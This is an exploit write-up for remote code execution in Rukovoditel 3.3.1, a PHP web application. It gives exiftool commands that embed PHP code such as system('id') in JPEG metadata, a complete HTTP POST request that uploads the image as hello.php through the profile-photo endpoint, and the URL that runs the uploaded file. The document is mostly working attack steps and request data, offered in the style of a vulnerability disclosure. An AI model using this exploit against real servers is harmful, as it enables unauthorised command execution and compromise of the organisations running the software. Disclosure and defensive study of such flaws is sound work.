Exploit Title: Rukovoditel 3.3.1 - Remote Code Execution (RCE)
Version: 3.3.1
Bugs: rce via jpeg file upload
Technology: PHP
Vendor URL: https://www.rukovoditel.net/
Software Link: https://www.rukovoditel.net/download.php
Date of found: 12-03-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
#First of all, we need to inject the php codes into the metadata of any jpeg file with exiftool. (for example)
exiftool -overwrite_original -comment="<?php system('id'); ?>" index.jpeg
exiftool -overwrite_original -DocumentName="<?php phpinfo(); ?>" index.jpeg
#after that we need to get the base64 code of the image (i used this site)
https://h3yy0.csb.app/
#and we have to do url encoding
#now we have to upload profile photo
Poc request (I changed the file name to hello.php and and pasted our base 64 code)
POST /index.php?module=users/photo&action=save&token=34GtgxfEmO HTTP/1.1
Host: localhost
Content-Length: 9567
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/index.php?module=users/account
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cookie_test=please_accept_for_session; sid=0d3esjp74uo3q3gp38r044vc9h; sidebar_closed=1
Connection: close
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%2FVDLw7D003Y%2FC38b%2B8pp2p4m1mIpMeQGw6JtJso9mGBoAkTb2S%2FttgW4lxBaHZdDu3S4KhSrZbstEcbUohzTUcA1rg%2FSZLdAs7j%2BOfxuIbSpAhucF5mRDTLWjzufAJJiuEhrodUdG0l59pWj4F8KiIo0yXf3ER6IuajGrBHF%2BVnoeEqWvy%2BQXmvb%2BoXVYvDRZbnhLXuEuEDX8KwXaum19V2U94f0nXy5roNy2JkSjoyJXy7UEG6iqmdm%2BOIsg6teUsoYrNurwSNUtFxhhWyr69C0FA4GtBTSmZ3QCIshabiyn%2FwBKbUBLbHknNXDg2P55qgUiwjK0HrAXa%2Bj7fBGzhmR2pBHNMalF20TyIsU4o0w8S8eBghTfw0HT13VFC%2BEpTrplK1BzdW%2B0geaGq1cojbY6eX%2FK1fEuEtiRr4rN43BfDEkAnly%2B6nLHJMpDLFoUYhzrDblM%2BaGyknfX66lM6PDnv70fuunBx49E6VCt2w3C1YZAPmmGFINjrt4i8pPSadDa6OwtM6ei6QYm14XLWg7qyu4io5w%2FqbInnyQfCHFxDfD8%2BSauwjnCwUZ9RSP0wFSm6pVOaxm%2B0eHVang%2FDTtpyn8lEN4J3jAvvoneDwIbEgSOUqLTkyvpJFePr%2FBoujYaryPidfM8md16F264gGMyc15fXqSVpiZJs6a4dZ%2Fk7fz5qPwf8h6qhfKlkKGXDaZiUZ8UjRWYamAwQoVKKmzSi7C1ATJt1H2TfDVpsNOv3SLDsM2Gm50CZ03gbyUQDoNkXI9VV8CqD08QLeahQNiZjwt76oqizNE6bn9yj5TO9NEsO2%2F6gOYufoneDa076pc7DgHXyGvmrMO%2FIYA99PS6eE%2FDEnD2i%2FiWG7pWYxXDabhd5BJ3%2BQlbppD2%2FSPukHFsI4WcyRzkg%2Bg1VslPaI47TpmPr4dzM2UhzRo2fC0LlAjuh4yudoLz6lNMRgACSx5Y4i%2BaR4QFfhsHVEEhj7ad2T6eCgumhrQrrYbK5rnjubuFi0%2F5Dl1RNMtL%2B5BHiD8lpv4MOblLRJ1vYTsk2H4O3CudAEPIItqTIDfdLm0tFf8AHpvYz4G0ioDl3WwxTAxo1naNboPs9gAA17rnl15pxjGOcRAA%2FwAje3glxxl4uXRc04udR4AsoODC6Lu238lEHKLj1RGNrBoA1jUyR5SLDzQb8Q46OPg4AjyK5pIVNsyfbzCFzM4JtyK8xqF3Mnx%2By9n7SMaaLg9pFtW39ivI8bw17Zcwioz%2B5u3%2B5uoTRuicwAv8PQKMrhXyYQ01CS0fJfPbHX5eu67g7Nj3O6JaxsXueSSi9i7MSYnwA%2BgCNw7I1t81XWa7%2Bnujpb1OpUcOQ3aT6D7n2XI5jQPAFvMxMesAJhwwtIzEl52E2CQ4hznw39gOvII%2Fh%2BLFOwvtO3kmToDVmhY4umwHlr66rhbDe873t4QNUFWxQYwvefAX8kLwh1Su%2FM6Q1tmjSSflCbTArQ9wpJuCbXnT0G3mranFmhzabpJPLbzXKzxTZA13PU6BZ3D1C7EPB1AbpsBf1v6eJU3Ly9DqPpbNZU4c0iRBB5j6hDN4fTBGgjaYAR1fE%2FDp5heIt05DqrcOGYhoc0CTqFVeX%2FZJuS%2FoEaWC5cD0aCpvomqWkAw3SfqjmcMDdtdUVUeykOsbJXFjKa%2BFmApwLnRdxWPa02hx2k2H2WM4n2myOLXtI5EeyqPFQ6C07D0%2FSVOWVRVDxwuWzQOqPkmd7h0kCeY1b4gkdAradGbjuncatd1EWKXYOu53Uj3CbsMAcjtyPQqSkpdHlFxBOMUyabhOUxvcH1XkWJxfw3uBpw4G%2BUlvnuvZsdem7wO30%2Bi8c4%2FTBcTo4HyLToQdwrwf6ITX7BKmIo1P1Nc0%2FwBwA9wPoq%2F4aj%2F3x%2F6O%2ByCXE9kqNSTYRb5r5rjsiH0e4DOyXvnqpvTNC2hi0tdqZKhXwp12UcM8MufRdxOKLrgfZMKU%2FEkQPT7lfNxTaQzEgu2b9Y%2BSFpYeo8kzlaNY3jZSwlFgqZn338Tt5Lq%2FYb%2FQZh6hd%2FMrWAuxvXnC0fB8U1jLfqJ9AVnq1I1CMo7uwO%2F7JhkcBDbaT5LnaOVM0GFpmo8Oce6BJHhuVn%2BFVM%2BIq1m6fEjxGnoiqLXii7XM%2BRPJql2bwAYXsNpAI8VOrKcH2IIdmaOX0Q%2FB3mnOsX8uYQ2CDnB97h0Ejlsu1GFrgA4kjprshK07DFJqhk3ipa8yTlIge6W4jjJzFoMkGZ6bITEZgTmaYkacuiV4vA5jmbII0I36FSlllwrHFHoxfiBUOctnaPoQjsNw4G4bH%2FIKA4CGkwT3hYg6rStw5iWuIjbZSVyY8pKPC7D4ctEgeSm3EnNlcIG30K%2BoV8wg2PNcxBtBE9Vakloz3b2EEyCF5J2kohlZzDZpJj%2FB28f4nXzXrGHYSJ6XXm%2FbMMfUcBZzfcbHyNvNWxPRLKjH1GEGCoK1zpEHUaHpyVSoRNzw8B1JqA4jSOylwXEHImfww7qg1ZROmZumS39RsoDiJc8Nju8k%2FwATwjNokGJwppOkFLtdKafBnWxOW1sqFo0%2FjElkgDfmgHV7QSi6WOyNAbpuB9U%2BmTpoZYaoaegvpJ08U5wpaRJMmBMb%2BCS0sYxwg26dUbhsGcvdMCPNH1RyVmgwVQFnegE6DkJSXtTxQ0nNLLEub6C%2Fup4J7py72AJ6an5JZ2poZi0cgozybVF4Y9Mf9jcdnzTGbWOY5p1XhzszQPDY%2FZeacCxxpugzykajqtieKGmATDmO%2FrGx%2FwAgmjNNeWLKDTtDTG1csOjo5p2QwImYgHUIKvxHMIInkdiPFcqvygGfIqOSrKwToK4hw5tqtMnNFwN13C401GQHd4DwnoUNS4uGyLR%2BaJdjy4VWvpWB1CRtJWOot6G2Fxb2kgG41a76FNsE51TaOiRYSi97w5y13CsNCRNzdI6dRV%2FQ2jShhleS9qaJbXNQXEmeo3C9gxr4YV55x%2FB5gTC1N%2BaRlUfabPOcRTg201HgqkTjaRa4hDKhB6NbwdkUpTKhUgX33S3g7D8FW1A5cyo5OJAGhJOiUcSwbnXi6JbV2BiEQ089Pn4o9Bww2LwbmnzUqNNzW2uNytXicCKh5jc%2FRUPwEDQxyCXyP6X0yzQ4u1IG%2FXoFpOGcShuUiwi8%2Bv50VQ4Xm0EHdWUsDl7safk%2BKnKTXSsEmOeFYhtR9RznABoEeElBV3tr1jl%2FSLDx5pXXpEERa8ny0C7wbE%2FALXu0c6I%2BqlakW8%2BdlFekKeIIOhhOMe2sGfyntcP6mkd4DmOaFx5biHlzdQdemyJp4R1rd4W%2Fdc3TBVoqw2LqNYJaHTrFh6bFcw9cum5N9Dt0T%2FAYMx3hr0R%2BC4VTzERce6RtvgycUIcPwn4rTcghOOE8NNgdk6p4UMcLI1lEA5hodQh%2FG30V5f0fYbAgBFUSGmykyoEO0HMrpKPDNbl0vxwlhKQYmkHNiFpK7RkISEFdkDjPOO0nDoJIWb%2BEvUeO4IOaVjP%2BndE0J6BkhbsM4Q4%2FCBRcZkPgYFNoHJdbWiVVk0QqHKbXRGGql5gk%2BH3XzL3t4KLxl0uV3A9CXUHD%2Bq2yvpVIF7nQKNCubDL5fcqz4ZJEmDrbZdZ1BdHDEeJ%2FCVVSpAuI%2FCpF%2BUanxOpVrW5QTPJTkUihdxjDMYDz2WS4hXtTZGhK2GOpBzc7jqQADzOgWX4zQBrBjb5bHxWZaZq6hr2cwsSTpBlPeH1W1HcxzHPaVLgNMCjmIuAZHh%2ByE7O04cS3TMbdJRbB2zUUgGiNRt0U8xnTz381RnJMGxGhUatYwDNzZH0T8hWcz3tET8WR4IDDvdbNed0Y4aQipCtHZMgjcI3DHUEXQtSsGiPwKbcQDeU619Eew1wOUrO1nQ4haGk%2ByQ8RZ%2FMQy8sOPtA%2BJbmakv8AAp9Ch8FSTKtGG4Y6WAK80Qd7oXhmiYYZb6tGO6ADTc11zZGYWo0mSVbi2iEmqmNEnCi2M8RijTPcV1HHgkE25%2Fug8Fc3V2LaINtkr0OthWJxIqOpie6XCY36JpiCBfzWX4UP5g8QtBjj3h%2Ft%2Bqm%2BD1TE%2FaCq92Qgw1rp89JVlPh2Qhx3E%2BpRPHgPhf8Ak36JjxQfyR5KL4WT4FYWGsyxflzlC8KDQSWm8mW76q2kf%2Fr%2FANo%2BaTOMYq1vBDWgJXZo3uLiYEGFPD0QBJMrlU2KroG351Rq3sHzQxztjNcRrK7U4nTy2MoSibFBUB3kVKhPF9GP8UXX12V2Ao%2F8LmEAlGkLl%2BW2c9aQWxtkh4i8iotC39Kz%2FFP1hPl%2F1FxdLmXC%2Bhdo6K2FNIZn%2F9k%3D&filename=hello.php
#we visit the image
http://localhost/uploads/users/tmp/hello.php
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